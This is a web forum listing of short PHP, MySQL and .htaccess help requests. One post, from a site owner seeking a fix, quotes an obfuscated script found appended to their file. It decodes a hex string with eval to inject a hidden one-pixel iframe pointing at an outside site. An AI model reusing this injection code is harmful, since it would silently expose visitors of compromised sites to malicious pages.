39,323 Topics
| |
Hi Can any one please help me in password protecting a subdomain. I have a main site like [url]www.example.com[/url] and subdomain site for this site is [url]www.abc.example.com[/url] I want password protection subdomain site [url]www.abc.example.com[/url], please help me doing this using .htaccess and .htpasswd Thank you in advance | |
Hi, In my PHP form, i am having 15 checkboxes sequentially(e.g respectives to 15 empid). I have checked 5 checkboxes and submitted my form. My output should be that 5 checkboxes to be checked and the remaining 10 checkboxes should remain the same (unchecked). Please help me out....thanks in advance | |
[CODE]RewriteRule ^user/[A-Za-z0-9-]+)/([A-Za-z0-9-]+)/([A-Za-z0-9-]+)/?$ /profile.php?user=$1&r=$2&page=$3 [L][/CODE] this isn't working... i get an internal server error.. if i remove it the page works. Any idea how to fix this? the url should be like below [url]http://www.example.com/user/testing/1/1[/url] | |
hi all, i wanted passe multiple variable to php file from get methode here is the code [CODE]<div onmouseover="show(document.getElementById('link<?php echo $cmId.$poId?>'));" onmouseout="hide(document.getElementById('link<?php echo $cmId.$poId?>'));"> <form> <?php echo $row['comment_cm']?><br><a href="editComment.php? var1=$cmId&var2=$poId" id="link<?php echo $cmId.$poId?>">Edit</a> </form> </div> [/CODE] | |
hi all, i am looking for best mp3 script form mp3 gallery. can you give advise me. or is it easy to build up it from scratch? thanks for attention | |
Hi all , I use the code below but I get 2 error ... 1 * Notice: Use of undefined constant num - assumed 'num' in D:\wamp\www\fbelgesel\hadi.php on line 20 2 * Notice: Undefined index: page in D:\wamp\www\fbelgesel\hadi.php on line 25 Do you have any idea , how can I … | |
| I am building a website that hosts and streams videos. I am currently testing the site on my own server. I would like to host it remotely once it is going live. I am looking for a good and reliable hosting service that provides necessary resources for online video. The … |
Hello, I wrote some code to make a table using HTML with <th> tags for displaying header in the first row followed by contents of mysql database. Due to while loop the header is displayed everytime the mysql_fetch_assoc fetches stuff from the database. However I want the header to be … | |
i have a shopping cart and everything works but the update button, can you see any errors in my code? function updateCart() { $cartId = $_POST['hidCartId']; $productId = $_POST['hidProductId']; $itemQty = $_POST['txtQty']; $numItem = count($itemQty); $numDeleted = 0; $notice = ''; for ($i = 0; $i < $numItem; $i++) { … | |
i just store session in my register page for use it in different files when someone get registration but i dont know y in other pages when i try to call my session,i get error that the variable are undefined. my code at register.php <?php $con = mysql_connect("localhost","root",""); if (!$con) … | |
The column names which are being taken from the database are all being added as ONE single option in the drop down menu. Where as, I want them to be separate options in the drop down menu. I don't know where am I going wrong. Please help! The code is … | |
Hi, I want to delete erroneous transactions and at the same time update my account table to be in line with the transaction table. account (account_number, name_with_initials, accoount_type,account_balance, account_interest) transaction (tran_id,account_number,transaction_type,transaction_amount,transaction_date) First i create a page to retrieve data from the tables and then need to delete the erroneous transaction. … | |
After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution. | |
how can i create a php code in wordpress i want to use a description code one is excerpt and second one is in custom field if function of excerpt exist else use custom field | |
Hi, I am using mail function of php to send email. I have a html page in which there is a form after submission of the form it redirected to mail.php and send email then i want to redirect back to html form with some message say "Mail sent successfully". … | |
Yet another problem in IE 7 pertaining to the navigation menu. The bizarre thing is the nav bar displays as it should on every page except the index. The navigation resides in a separate php file and I use an include into the header so I expect it to display … | |
Hi, I am saving my excel file in my local directory. $objWriter->save("C:/test.xls"); How can i delete(only test.xls) this same excel file from my local directory using php. Please try to solve my problem. Thanks in advance. | |
hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click … | |
Hey everyone, PHP and MYSQL newbie here.....can really use your help right now. I implemented a Submodal into my script, and finally got it to submit "User Notes" into the database. Unfortunately with each new submission, the text that is submitted overwrites the previous submission. I was told to use … | |
hi all, I am new to php and was trying to send an email . i got the code from w3school site. [url]http://www.w3schools...hp/php_mail.asp[/url] but when I run the code i got this error. Warning: mail() [function.mail]: Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" … | |
Hello. I have no idea how, so i'll ask you. I need /s/index.php?i=123 to be /s/123 any direction or tips would be appreciated! cheers, Sorcher | |
I'm developing an ASP.net website in which I have to allow users to log into someone else's PHP website. On my ASP.net homepage and interior pages I have two text boxes - one for Username and another for Password, and a button for submitting the data. What's the code for … | |
Please how do I apply search form to my website to search out files from my site if searched, Please how do I type the form, can someone give me the sample out here, How do I relate the search form to the files that I have in my site … | |
Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I … | |
Greetings everyone, This is my first post in this forum. I have been having an issue for a few weeks now and would appreciate all the help you can provide. Some forums out there have been deleting my post for no reason, so please, if you find there is anything … | |
Hi All, I need to be able to send bulk emails (somewhere in the thousands) for the online service I am planning on providing. Is there an online service (preferably, a web service api) that I can use to send bulk emails? Are there any other options other than running … | |
I keep getting an unexpected$end parse error on line 32, but that line doesn't exist. I can't seem to find what is causing the problem. This is driving me crazy. [CODE]<!doctype html public "-//W3C//DTD HTML 4.0 //EN"> <html> <head> <title>Your Output</title> </head> <body> <h1>Your Output</h1> <center> <? $basicText = $_REQUEST["basicText"]; … | |
<html> <body> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <?php if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] > 20000)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " … | |
I've recently used mod_rewrite and changed my .htaccess allowing clean urls. Is there a tutorial that tells me how to use $_GET with a clean url? for instance how do i get the name with the clean url($_GET method)? messy url[code]example.com/play.php?id=203&name=test[/code] clean url[code]example.com/videos/play/203/test[/code] also when using forms is it as … | |
Hi, I am generating an excel list using PHPExcel class. That generating excel list, should be mailed out to the particular person. Can you please help me out. Thanks in advance |
The End.